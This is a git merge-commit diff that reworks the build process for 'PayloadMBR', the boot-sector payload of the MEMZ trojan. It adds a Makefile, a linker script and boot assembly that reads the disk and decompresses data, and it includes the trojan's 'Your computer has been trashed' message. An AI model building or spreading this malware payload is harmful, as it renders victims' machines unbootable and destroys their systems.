Merge pull request #24 from Thesola10/master
Reworked PayloadMBR build process
This commit is contained in:
commit
d06b1d2b57
10 changed files with 103 additions and 25 deletions
3
.gitignore
vendored
3
.gitignore
vendored
|
@ -20,7 +20,7 @@ x86/
|
|||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
|
||||
PayloadMBR/Data/Compressor/compress
|
||||
# Visual Studio 2015 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
|
@ -67,6 +67,7 @@ artifacts/
|
|||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
*.o
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
|
|
@ -110,7 +110,7 @@ int main(int argc, char **argv) {
|
|||
}
|
||||
|
||||
fclose(outfile);
|
||||
system("pause");
|
||||
//system("pause");
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -48,4 +48,4 @@ for imgf in sys.argv[1:-1]:
|
|||
img.close()
|
||||
|
||||
with open(sys.argv[::-1][0], "wb") as out:
|
||||
out.write(buf)
|
||||
out.write(buf)
|
||||
|
|
|
@ -1 +1 @@
|
|||
Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat...
|
||||
Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat...
|
||||
|
|
|
@ -7,7 +7,7 @@ def pitchconv(pitch):
|
|||
|
||||
with open(sys.argv[2], "wb") as out:
|
||||
pitches = [pitchconv(event.pitch) for event in pattern[1] if isinstance(event, midi.NoteOnEvent)]
|
||||
|
||||
|
||||
b = 0
|
||||
d = 0
|
||||
|
||||
|
|
46
PayloadMBR/Makefile
Normal file
46
PayloadMBR/Makefile
Normal file
|
@ -0,0 +1,46 @@
|
|||
|
||||
CC = cc
|
||||
PY = python2
|
||||
NASM = nasm
|
||||
LD = ld
|
||||
QEMU = qemu-system-i386
|
||||
|
||||
CCFLAGS =
|
||||
ASFLAGS = -f aout
|
||||
LDFLAGS = -T linker.ld -m elf_i386
|
||||
|
||||
IMAGES = $(sort $(wildcard Data/Image/frames/*.png))
|
||||
MUSIC = Data/Song/nyan.mid
|
||||
|
||||
all: disk.img dir
|
||||
|
||||
dir:
|
||||
mkdir -p build
|
||||
|
||||
build/image.bin: $(IMAGES)
|
||||
$(PY) Data/Image/png2bin.py $(IMAGES) $@
|
||||
|
||||
build/song.bin: $(MUSIC)
|
||||
$(PY) Data/Song/midi2bin.py $< $@
|
||||
|
||||
build/data.o: build/song.bin build/image.bin
|
||||
cat build/image.bin build/song.bin Data/Other/message.txt > build/data.o
|
||||
|
||||
Data/compressed.bin: build/data.o Data/Compressor/compress.c
|
||||
$(CC) Data/Compressor/compress.c -o Data/Compressor/compress $(CCFLAGS)
|
||||
Data/Compressor/compress build/data.o Data/compressed.bin
|
||||
|
||||
build/kernel.o: kernel.asm decompress.asm Data/compressed.bin
|
||||
$(NASM) kernel.asm -o build/kernel.o $(ASFLAGS)
|
||||
|
||||
disk.img: build/kernel.o linker.ld Data/compressed.bin
|
||||
$(LD) -o disk.img build/kernel.o $(LDFLAGS)
|
||||
|
||||
test: disk.img
|
||||
$(QEMU) -s -soundhw pcspk -fda disk.img
|
||||
|
||||
clean:
|
||||
rm build/* Data/Compressor/compress Data/compressed.bin
|
||||
|
||||
.PHONY: test all
|
||||
|
|
@ -1,21 +1,28 @@
|
|||
mov bx, daddr
|
||||
mov es, bx
|
||||
mov ds, bx
|
||||
use16
|
||||
;org 0x7c00
|
||||
|
||||
; Read from disk
|
||||
mov ax, 0x0204
|
||||
mov cx, 0x0002
|
||||
mov dh, 0
|
||||
mov bx, compressed
|
||||
int 13h
|
||||
global start
|
||||
|
||||
xor ax, ax
|
||||
mov bx, ax
|
||||
mov cx, ax
|
||||
mov dx, ax
|
||||
start:
|
||||
mov bx, daddr
|
||||
mov es, bx
|
||||
mov ds, bx
|
||||
|
||||
; Read from disk
|
||||
mov ax, 0x0204
|
||||
mov cx, 0x0002
|
||||
mov dh, 0
|
||||
mov bx, compressed
|
||||
int 13h
|
||||
|
||||
xor ax, ax
|
||||
mov bx, ax
|
||||
mov cx, ax
|
||||
mov dx, ax
|
||||
|
||||
mov si, compressed
|
||||
mov di, image
|
||||
mov si, compressed
|
||||
mov di, image
|
||||
jmp readcommand
|
||||
|
||||
readcommand:
|
||||
lodsb
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
use16
|
||||
org 0x7c00
|
||||
;org 0x7c00
|
||||
|
||||
section .text
|
||||
|
||||
%include "decompress.asm" ; Include decompressor part
|
||||
|
||||
|
@ -175,4 +177,4 @@ dw 0xAA55 ; Boot sector signature
|
|||
comp: incbin "Data/compressed.bin"
|
||||
compsize: equ $-comp
|
||||
|
||||
times 4*1024 - ($ - $$) db 0
|
||||
times 4*1024 - ($ - $$) db 0
|
||||
|
|
22
PayloadMBR/linker.ld
Normal file
22
PayloadMBR/linker.ld
Normal file
|
@ -0,0 +1,22 @@
|
|||
OUTPUT_FORMAT("binary")
|
||||
|
||||
ENTRY(start)
|
||||
codea = 0x7c00;
|
||||
dataa = 0x0000;
|
||||
SECTIONS
|
||||
{
|
||||
.text : AT(codea)
|
||||
{
|
||||
code = .;
|
||||
*(.text)
|
||||
*(.rodata)
|
||||
. = ALIGN(4096);
|
||||
}
|
||||
.data : AT(dataa)
|
||||
{
|
||||
data = .;
|
||||
*(.data)
|
||||
. = ALIGN(4096);
|
||||
}
|
||||
end = .;
|
||||
}
|
|
@ -1,5 +1,5 @@
|
|||
@echo off
|
||||
nasm -o disk.img kernel.asm
|
||||
make.bat
|
||||
set PATH=%PATH%;C:\Program Files\qemu
|
||||
qemu-system-i386 -s -soundhw pcspk -fda disk.img
|
||||
pause
|
||||
pause
|
||||
|
|
Reference in a new issue